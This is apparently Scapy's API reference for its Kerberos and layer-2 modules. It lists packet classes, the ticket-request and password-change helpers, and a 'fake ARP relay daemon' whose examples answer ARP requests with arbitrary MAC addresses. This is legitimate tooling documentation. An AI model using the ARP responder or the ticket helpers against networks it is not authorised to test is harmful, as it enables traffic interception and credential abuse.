class scapy.layers.kerberos.LastReqItem(_pkt, /, *, lrType=0x0 <ASN1_INTEGER[0]>, lrValue=20240414130510Z [invalid generalized time] <ASN1_GENERALIZED_TIME[<GeneralizedTime>]>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/kerberos.py#L1452-L1457]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <ASN1F_SEQUENCE(<scapy.asn1fields.ASN1F_INTEGER object>, <scapy.asn1fields.ASN1F_GENERALIZED_TIME object>)>

	




	
aliastypes

	




	
fields_desc

	
LastReqItem fields






	lrType

	ASN1F_INTEGER

	0x0 <ASN1_INTEGER[0]>



	lrValue

	ASN1F_GENERALIZED_TIME

	20240414130510Z [invalid generalized time] <ASN1_GENERALIZED_TIME[<GeneralizedTime>]>















	
class scapy.layers.kerberos.MethodData(_pkt, /, *, seq=[<PADATA  |>])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/kerberos.py#L1725-L1727]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <ASN1F_SEQUENCE_OF seq>

	




	
aliastypes

	




	
fields_desc

	
MethodData fields






	seq

	ASN1F_SEQUENCE_OF

	[<PADATA  |>]















	
class scapy.layers.kerberos.PADATA(_pkt, /, *, padataType=0x0 <ASN1_INTEGER[0]>, padataValue=<ASN1_STRING['']>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/kerberos.py#L708-L717]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <ASN1F_SEQUENCE(<scapy.asn1fields.ASN1F_enum_INTEGER object>, <scapy.layers.kerberos._PADATA_value_Field object>)>

	




	
aliastypes

	




	
fields_desc

	
PADATA fields






	padataType

	ASN1F_enum_INTEGER

	0x0 <ASN1_INTEGER[0]>



	padataValue

	_PADATA_value_Field

	<ASN1_STRING['']>















	
class scapy.layers.kerberos.PA_AUTHENTICATION_SET(_pkt, /, *, elems=[<PA_AUTHENTICATION_SET_ELEM  |>])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/kerberos.py#L793-L797]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <ASN1F_SEQUENCE_OF elems>

	




	
aliastypes

	




	
fields_desc

	
PA_AUTHENTICATION_SET fields






	elems

	ASN1F_SEQUENCE_OF

	[<PA_AUTHENTICATION_SET_ELEM  |>]















	
class scapy.layers.kerberos.PA_AUTHENTICATION_SET_ELEM(_pkt, /, *, paType=0x0 <ASN1_INTEGER[0]>, paHint=<ASN1_STRING['']>, paValue=<ASN1_STRING['']>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/kerberos.py#L780-L790]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <ASN1F_SEQUENCE(<scapy.asn1fields.ASN1F_INTEGER object>, <scapy.asn1fields.ASN1F_optional object>, <scapy.asn1fields.ASN1F_optional object>)>

	




	
aliastypes

	




	
fields_desc

	
PA_AUTHENTICATION_SET_ELEM fields






	paType

	ASN1F_INTEGER

	0x0 <ASN1_INTEGER[0]>



	paHint

	ASN1F_STRING

	<ASN1_STRING['']>



	paValue

	ASN1F_STRING

	<ASN1_STRING['']>















	
class scapy.layers.kerberos.PA_ENC_TS_ENC(_pkt, /, *, patimestamp=20240414130510Z [invalid generalized time] <ASN1_GENERALIZED_TIME[<GeneralizedTime>]>, pausec=0x0 <ASN1_INTEGER[0]>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/kerberos.py#L723-L728]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <ASN1F_SEQUENCE(<scapy.asn1fields.ASN1F_GENERALIZED_TIME object>, <scapy.asn1fields.ASN1F_optional object>)>

	




	
aliastypes

	




	
fields_desc

	
PA_ENC_TS_ENC fields






	patimestamp

	ASN1F_GENERALIZED_TIME

	20240414130510Z [invalid generalized time] <ASN1_GENERALIZED_TIME[<GeneralizedTime>]>



	pausec

	ASN1F_INTEGER

	0x0 <ASN1_INTEGER[0]>















	
class scapy.layers.kerberos.PA_FOR_USER(_pkt, /, *, userName=<PrincipalName  |>, userRealm=<ASN1_GENERAL_STRING['']>, cksum=<Checksum  |>, authPackage=<ASN1_GENERAL_STRING['Kerberos']>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/kerberos.py#L1146-L1153]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <ASN1F_SEQUENCE(<scapy.asn1fields.ASN1F_PACKET object>, <scapy.asn1fields.ASN1F_GENERAL_STRING object>, <scapy.asn1fields.ASN1F_PACKET object>, <scapy.asn1fields.ASN1F_GENERAL_STRING object>)>

	




	
aliastypes

	




	
fields_desc

	
PA_FOR_USER fields






	userName

	ASN1F_PACKET

	<PrincipalName  |>



	userRealm

	ASN1F_GENERAL_STRING

	<ASN1_GENERAL_STRING['']>



	cksum

	ASN1F_PACKET

	<Checksum  |>



	authPackage

	ASN1F_GENERAL_STRING

	<ASN1_GENERAL_STRING['Kerberos']>















	
class scapy.layers.kerberos.PA_FX_FAST_REPLY(_pkt, /, *, armoredData=<ASN1_STRING['']>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/kerberos.py#L1033-L1039]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <scapy.asn1fields.ASN1F_CHOICE object>

	




	
aliastypes

	




	
fields_desc

	
PA_FX_FAST_REPLY fields






	armoredData

	ASN1F_CHOICE

	<ASN1_STRING['']>















	
class scapy.layers.kerberos.PA_FX_FAST_REQUEST(_pkt, /, *, armoredData=<ASN1_STRING['']>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/kerberos.py#L1012-L1018]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <scapy.asn1fields.ASN1F_CHOICE object>

	




	
aliastypes

	




	
fields_desc

	
PA_FX_FAST_REQUEST fields






	armoredData

	ASN1F_CHOICE

	<ASN1_STRING['']>















	
class scapy.layers.kerberos.PA_PAC_OPTIONS(_pkt, /, *, options=<ASN1_BIT_STRING[]=b'' (0 unused bit)>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/kerberos.py#L953-L967]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <ASN1F_SEQUENCE(<scapy.asn1fields.ASN1F_FLAGS object>,)>

	




	
aliastypes

	




	
fields_desc

	
PA_PAC_OPTIONS fields






	options

	ASN1F_FLAGS

	<ASN1_BIT_STRING[]=b'' (0 unused bit)>















	
class scapy.layers.kerberos.PA_PAC_REQUEST(_pkt, /, *, includePac=True <ASN1_BOOLEAN[True]>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/kerberos.py#L806-L810]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <ASN1F_SEQUENCE(<scapy.asn1fields.ASN1F_BOOLEAN object>,)>

	




	
aliastypes

	




	
fields_desc

	
PA_PAC_REQUEST fields






	includePac

	ASN1F_BOOLEAN

	True <ASN1_BOOLEAN[True]>















	
class scapy.layers.kerberos.PA_PK_AS_REP(_pkt, /, *, rep=<ASN1_STRING['']>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/kerberos.py#L1130-L1137]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <scapy.asn1fields.ASN1F_CHOICE object>

	




	
aliastypes

	




	
fields_desc

	
PA_PK_AS_REP fields






	rep

	ASN1F_CHOICE

	<ASN1_STRING['']>















	
class scapy.layers.kerberos.PA_PK_AS_REQ(_pkt, /, *, signedAuthpack=<ASN1_STRING['']>, trustedCertifiers=[<ExternalPrincipalIdentifier  |>], kdcPkId=<ASN1_STRING['']>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/kerberos.py#L1092-L1107]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <ASN1F_SEQUENCE(<scapy.asn1fields.ASN1F_STRING object>, <scapy.asn1fields.ASN1F_optional object>, <scapy.asn1fields.ASN1F_optional object>)>

	




	
aliastypes

	




	
fields_desc

	
PA_PK_AS_REQ fields






	signedAuthpack

	ASN1F_STRING

	<ASN1_STRING['']>



	trustedCertifiers

	ASN1F_SEQUENCE_OF

	[<ExternalPrincipalIdentifier  |>]



	kdcPkId

	ASN1F_STRING

	<ASN1_STRING['']>















	
class scapy.layers.kerberos.PA_S4U_X509_USER(_pkt, /, *, userId=<S4UUserID  |>, checksum=<Checksum  |>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/kerberos.py#L1188-L1193]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <ASN1F_SEQUENCE(<scapy.asn1fields.ASN1F_PACKET object>, <scapy.asn1fields.ASN1F_PACKET object>)>

	




	
aliastypes

	




	
fields_desc

	
PA_S4U_X509_USER fields






	userId

	ASN1F_PACKET

	<S4UUserID  |>



	checksum

	ASN1F_PACKET

	<Checksum  |>















	
class scapy.layers.kerberos.PA_SUPPORTED_ENCTYPES(_pkt, /, *, flags=<Flag 0 ()>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/kerberos.py#L924-L945]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             FLAGS                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. PA_SUPPORTED_ENCTYPES                    


PA_SUPPORTED_ENCTYPES fields






	flags

	FlagsField

	<Flag 0 ()>















	
class scapy.layers.kerberos.PrincipalName(_pkt, /, *, nameType=0x0 <ASN1_INTEGER[0]>, nameString=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/kerberos.py#L189-L221]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <ASN1F_SEQUENCE(<scapy.asn1fields.ASN1F_enum_INTEGER object>, <ASN1F_SEQUENCE_OF nameString>)>

	




	
aliastypes

	




	
fields_desc

	
PrincipalName fields






	nameType

	ASN1F_enum_INTEGER

	0x0 <ASN1_INTEGER[0]>



	nameString

	ASN1F_SEQUENCE_OF

	[]











	
static fromSPN(spn: bytes)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/kerberos.py#L209-L221]

	




	
static fromUPN(upn: str)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/kerberos.py#L201-L207]

	








	
class scapy.layers.kerberos.S4UUserID(_pkt, /, *, nonce=0x0 <ASN1_INTEGER[0]>, cname=None, crealm=<ASN1_GENERAL_STRING['']>, subjectCertificate=None, options=<ASN1_BIT_STRING[]=b'' (0 unused bit)>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/kerberos.py#L1162-L1185]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <ASN1F_SEQUENCE(<scapy.asn1fields.ASN1F_INTEGER object>, <scapy.asn1fields.ASN1F_optional object>, <scapy.asn1fields.ASN1F_GENERAL_STRING object>, <scapy.asn1fields.ASN1F_optional object>, <scapy.asn1fields.ASN1F_optional object>)>

	




	
aliastypes

	




	
fields_desc

	
S4UUserID fields






	nonce

	ASN1F_INTEGER

	0x0 <ASN1_INTEGER[0]>



	cname

	ASN1F_PACKET

	None



	crealm

	ASN1F_GENERAL_STRING

	<ASN1_GENERAL_STRING['']>



	subjectCertificate

	ASN1F_STRING

	None



	options

	ASN1F_FLAGS

	<ASN1_BIT_STRING[]=b'' (0 unused bit)>















	
class scapy.layers.kerberos.TransitedEncoding(_pkt, /, *, trType=0x0 <ASN1_INTEGER[0]>, contents=<ASN1_STRING['']>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/kerberos.py#L1247-L1252]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <ASN1F_SEQUENCE(<scapy.asn1fields.ASN1F_INTEGER object>, <scapy.asn1fields.ASN1F_STRING object>)>

	




	
aliastypes

	




	
fields_desc

	
TransitedEncoding fields






	trType

	ASN1F_INTEGER

	0x0 <ASN1_INTEGER[0]>



	contents

	ASN1F_STRING

	<ASN1_STRING['']>















	
scapy.layers.kerberos.kpasswd(upn, targetupn=None, ip=None, password=None, newpassword=None, key=None, ticket=None, realm=None, ssp=None, setpassword=None, timeout=3, port=464, debug=0, **kwargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/kerberos.py#L2977-L3150]

	Change a password using RFC3244’s Kerberos Set / Change Password.


	Parameters:

	
	upn – the UPN to use for authentication


	targetupn – (optional) the UPN to change the password of. If not specified,
same as upn.


	ip – the KDC ip. (optional. If not provided, Scapy will query the DNS for
_kerberos._tcp.dc._msdcs.domain.local).


	key – (optional) pass the Key object.


	ticket – (optional) a ticket to use. Either a TGT or ST for kadmin/changepw.


	password – (optional) otherwise, pass the user’s password


	realm – (optional) the realm to use. Otherwise use the one from UPN.


	setpassword – (optional) use “Set Password” mechanism.


	ssp – (optional) a Kerberos SSP for the service kadmin/changepw@REALM.
If provided, you probably don’t need anything else. Otherwise built.













	
scapy.layers.kerberos.krb_as_and_tgs(upn, spn, ip=None, key=None, password=None, **kwargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/kerberos.py#L2960-L2974]

	Kerberos AS-Req then TGS-Req






	
scapy.layers.kerberos.krb_as_req(upn, spn=None, ip=None, key=None, password=None, realm=None, host='WIN10', **kwargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/kerberos.py#L2835-L2889]

	Kerberos AS-Req


	Parameters:

	
	upn – the user principal name formatted as “DOMAINuser”, “DOMAIN/user”
or “user@DOMAIN”


	spn – (optional) the full service principal name.
Defaults to “krbtgt/<realm>”


	ip – the KDC ip. (optional. If not provided, Scapy will query the DNS for
_kerberos._tcp.dc._msdcs.domain.local).


	key – (optional) pass the Key object.


	password – (optional) otherwise, pass the user’s password


	realm – (optional) the realm to use. Otherwise use the one from UPN.


	host – (optional) the host performing the AS-Req. WIN10 by default.






	Returns:

	returns a named tuple (asrep=<…>, sessionkey=<…>)





Example:

>>> # The KDC is on 192.168.122.17, we ask a TGT for user1
>>> krb_as_req("user1@DOMAIN.LOCAL", "192.168.122.17", password="Password1")





Equivalent:

>>> from scapy.libs.rfc3961 import Key, EncryptionType
>>> key = Key(EncryptionType.AES256_CTS_HMAC_SHA1_96, key=hex_bytes("6d0748c546
...: f4e99205e78f8da7681d4ec5520ae4815543720c2a647c1ae814c9"))
>>> krb_as_req("user1@DOMAIN.LOCAL", "192.168.122.17", key=key)










	
scapy.layers.kerberos.krb_tgs_req(upn, spn, sessionkey, ticket, ip=None, renew=False, realm=None, additional_tickets=[], u2u=False, etypes=None, for_user=None, **kwargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/kerberos.py#L2892-L2957]

	Kerberos TGS-Req


	Parameters:

	
	upn – the user principal name formatted as “DOMAINuser”, “DOMAIN/user”
or “user@DOMAIN”


	spn – the full service principal name (e.g. “cifs/srv1”)


	sessionkey – the session key retrieved from the tgt


	ticket – the tgt ticket


	ip – the KDC ip. (optional. If not provided, Scapy will query the DNS for
_kerberos._tcp.dc._msdcs.domain.local).


	renew – ask for renewal


	realm – (optional) the realm to use. Otherwise use the one from SPN.


	additional_tickets – (optional) a list of additional tickets to pass.


	u2u – (optional) if specified, enable U2U and request the ticket to be
signed using the session key from the first additional ticket.


	etypes – array of EncryptionType values.
By default: AES128, AES256, RC4, DES_MD5


	for_user – a user principal name to request the ticket for. This is the
S4U2Self extension.






	Returns:

	returns a named tuple (tgsrep=<…>, sessionkey=<…>)





Example:

>>> # The KDC is on 192.168.122.17, we ask a TGT for user1
>>> krb_as_req("user1@DOMAIN.LOCAL", "192.168.122.17", password="Password1")





Equivalent:

>>> from scapy.libs.rfc3961 import Key, EncryptionType
>>> key = Key(EncryptionType.AES256_CTS_HMAC_SHA1_96, key=hex_bytes("6d0748c546
...: f4e99205e78f8da7681d4ec5520ae4815543720c2a647c1ae814c9"))
>>> krb_as_req("user1@DOMAIN.LOCAL", "192.168.122.17", key=key)












            

          

      

      

    

  

    
      
          
            
  
scapy.layers.l2

Classes and functions for layer 2 protocols.


	
class scapy.layers.l2.ARP(_pkt, /, *, hwtype=1, ptype=2048, hwlen=None, plen=None, op=1, hwsrc=None, psrc=None, hwdst=None, pdst=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/l2.py#L436-L556]

	Bases: Packet


	
aliastypes

	




	
answers(other: Packet) → int[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/l2.py#L519-L530]

	




	
extract_padding(s: bytes) → Tuple[bytes, bytes][source] [https://github.com/secdev/scapy/blob/master/scapy/layers/l2.py#L546-L548]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             HWTYPE            |             PTYPE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     HWLEN     |      PLEN     |               OP              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             HWSRC             |              PSRC             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             HWDST             |              PDST             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                             Fig. ARP                             


ARP fields






	hwtype

	XShortEnumField

	1



	ptype

	XShortEnumField

	2048



	hwlen

	FieldLenField

	None



	plen

	FieldLenField

	None



	op

	ShortEnumField

	1



	hwsrc

	MultipleTypeField (SourceMACField, StrFixedLenField)

	None



	psrc

	MultipleTypeField (SourceIPField, SourceIP6Field, StrFixedLenField)

	None



	hwdst

	MultipleTypeField (MACField, StrFixedLenField)

	None



	pdst

	MultipleTypeField (IPField, IP6Field, StrFixedLenField)

	None











	
hashret() → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/l2.py#L514-L517]

	




	
mysummary() → str[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/l2.py#L550-L556]

	




	
route() → Tuple[str | None, str | None, str | None][source] [https://github.com/secdev/scapy/blob/master/scapy/layers/l2.py#L532-L544]

	








	
class scapy.layers.l2.ARP_am(self, IP_addr=None, ARP_addr=None, from_ip=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/l2.py#L1067-L1155]

	Bases: AnsweringMachine[Packet]

Fake ARP Relay Daemon (farpd)

example:
To respond to an ARP request for 192.168.100 replying on the
ingress interface:

farpd(IP_addr='192.168.1.100',ARP_addr='00:01:02:03:04:05')





To respond on a different interface add the interface parameter:

farpd(IP_addr='192.168.1.100',ARP_addr='00:01:02:03:04:05',iface='eth0')





To respond on ANY arp request on an interface with mac address ARP_addr:

farpd(ARP_addr='00:01:02:03:04:05',iface='eth1')





To respond on ANY arp request with my mac addr on the given interface:

farpd(iface='eth1')





Optional Args:

inter=<n>   Interval in seconds between ARP replies being sent






	
filter: str | None = 'arp'

	




	
function_name = 'farpd'

	




	
is_request(req: Packet) → bool[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/l2.py#L1110-L1119]

	




	
make_reply(req: Packet) → Packet[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/l2.py#L1121-L1144]

	




	
optam0: Dict[str, Any]

	




	
optam1: Dict[str, Any]

	




	
optam2: Dict[str, Any]

	




	
optsend: Dict[str, Any]

	




	
optsniff: Dict[str, Any]

	




	
parse_options(IP_addr: str | None = None, ARP_addr: str | None = None, from_ip: str | None = None) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/l2.py#L1098-L1108]

	




	
print_reply(req: Packet, reply: Packet) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/l2.py#L1153-L1155]

	




	
static send_function(x: List[Packet] | Packet | SetGen[Packet] | _PacketList[Packet], iface: NetworkInterface | str | None = None, iface_hint: str | None = None, socket: SuperSocket | None = None, **kargs: Any) → PacketList | None[source] [https://github.com/secdev/scapy/blob/master/scapy/sendrecv.py#L455-L486]

	Send packets at layer 2


	Parameters:

	
	x – the packets


	inter – time (in s) between two packets (default 0)


	loop – send packet indefinitely (default 0)


	count – number of packets to send (default None=1)


	verbose – verbose mode (default None=conf.verb)


	realtime – check that a packet was sent before sending the next one


	return_packets – return the sent packets


	socket – the socket to use (default is conf.L3socket(kargs))


	iface – the interface to send the packets on


	monitor – (not on linux) send in monitor mode






	Returns:

	None










	
send_reply(reply: Packet, send_function: Any = None) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/l2.py#L1146-L1151]

	








	
class scapy.layers.l2.ARPingResult(res=None, name='ARPing', stats=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/l2.py#L977-L1001]

	Bases: SndRcvList


	
show(*args: Any, **kwargs: Any) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/l2.py#L985-L1001]

	Print the list of discovered MAC addresses.










	
class scapy.layers.l2.CookedLinux(_pkt, /, *, pkttype=0, lladdrtype=512, lladdrlen=0, src=b'', proto=2048)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/l2.py#L335-L343]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            PKTTYPE            |           LLADDRTYPE          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           LLADDRLEN           |              SRC              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |             PROTO             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. CookedLinux                         


CookedLinux fields






	pkttype

	ShortEnumField

	0



	lladdrtype

	XShortField

	512



	lladdrlen

	ShortField

	0



	src

	StrFixedLenField

	b''



	proto

	XShortEnumField

	2048











	
payload_guess

	Possible sublayers:
CANFD, CAN, EAPOL, IP, IPv6, IrLAPHead, ARP, Dot1AD, Dot1AH, Dot1Q, Ether, LLC, PPPoED, PPPoE










	
class scapy.layers.l2.CookedLinuxV2(_pkt, /, *, proto=2048, reserved=0, ifindex=0, lladdrtype=512, pkttype=0, lladdrlen=0, src=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/l2.py#L346-L355]

	Bases: CookedLinux


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             PROTO             |            RESERVED           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            IFINDEX                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           LLADDRTYPE          |    PKTTYPE    |   LLADDRLEN   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              SRC                              |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. CookedLinuxV2                        


CookedLinuxV2 fields






	proto

	XShortEnumField

	2048



	reserved

	ShortField

	0



	ifindex

	IntField

	0



	lladdrtype

	XShortField

	512



	pkttype

	ByteEnumField

	0



	lladdrlen

	ByteField

	0



	src

	StrFixedLenField

	b''















	
class scapy.layers.l2.DestMACField(name: str)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/l2.py#L161-L187]

	Bases: MACField


	
i2h(pkt: Packet | None, x: str | None) → str[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/l2.py#L166-L170]

	




	
i2m(pkt: Packet | None, x: str | None) → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/l2.py#L172-L187]

	








	
class scapy.layers.l2.Dot1AD(_pkt, /, *, prio=0, dei=0, vlan=1, type=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/l2.py#L714-L715]

	Bases: Dot1Q


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| PRIO|D|          VLAN         |              TYPE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                           Fig. Dot1AD                            


Dot1AD fields






	prio

	BitField  (3 bits)

	0



	dei

	BitField  (1 bit)

	0



	vlan

	BitField  (12 bits)

	1



	type

	XShortEnumField

	0











	
payload_guess

	Possible sublayers:
MACsec, Dot1AD, Dot1AH, Dot1Q










	
class scapy.layers.l2.Dot1AH(_pkt, /, *, prio=0, dei=0, nca=0, res1=0, res2=0, isid=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/l2.py#L718-L736]

	Bases: Packet


	
aliastypes

	




	
answers(other: Packet) → int[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/l2.py#L727-L732]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| PRIO|D|N|R|RES|                      ISID                     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                           Fig. Dot1AH                            


Dot1AH fields






	prio

	BitField  (3 bits)

	0



	dei

	BitField  (1 bit)

	0



	nca

	BitField  (1 bit)

	0



	res1

	BitField  (1 bit)

	0



	res2

	BitField  (2 bits)

	0



	isid

	ThreeBytesField

	0











	
mysummary() → str[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/l2.py#L734-L736]

	




	
payload_guess

	Possible sublayers:
Ether










	
class scapy.layers.l2.Dot1Q(_pkt, /, *, prio=0, dei=0, vlan=1, type=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/l2.py#L374-L412]

	Bases: Packet


	
aliastypes

	




	
answers(other: Packet) → int[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/l2.py#L385-L393]

	




	
default_payload_class(pay: bytes) → Type[Packet][source] [https://github.com/secdev/scapy/blob/master/scapy/layers/l2.py#L395-L399]

	




	
deprecated_fields: Dict[str, Tuple[str, str]] = {'id': ('dei', '2.5.0')}

	




	
extract_padding(s: bytes) → Tuple[bytes, bytes | None][source] [https://github.com/secdev/scapy/blob/master/scapy/layers/l2.py#L401-L405]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| PRIO|D|          VLAN         |              TYPE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                            Fig. Dot1Q                            


Dot1Q fields






	prio

	BitField  (3 bits)

	0



	dei

	BitField  (1 bit)

	0



	vlan

	BitField  (12 bits)

	1



	type

	XShortEnumField

	0











	
mysummary() → str[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/l2.py#L407-L412]

	




	
payload_guess

	Possible sublayers:
EtherCat, LLDPDU, MACControl, MACsec, OAM, Dot1AD, Dot1AH










	
class scapy.layers.l2.Dot3(_pkt, /, *, dst=None, src=None, len=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/l2.py#L277-L304]

	Bases: Packet


	
aliastypes

	




	
answers(other: Packet) → int[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/l2.py#L288-L292]

	




	
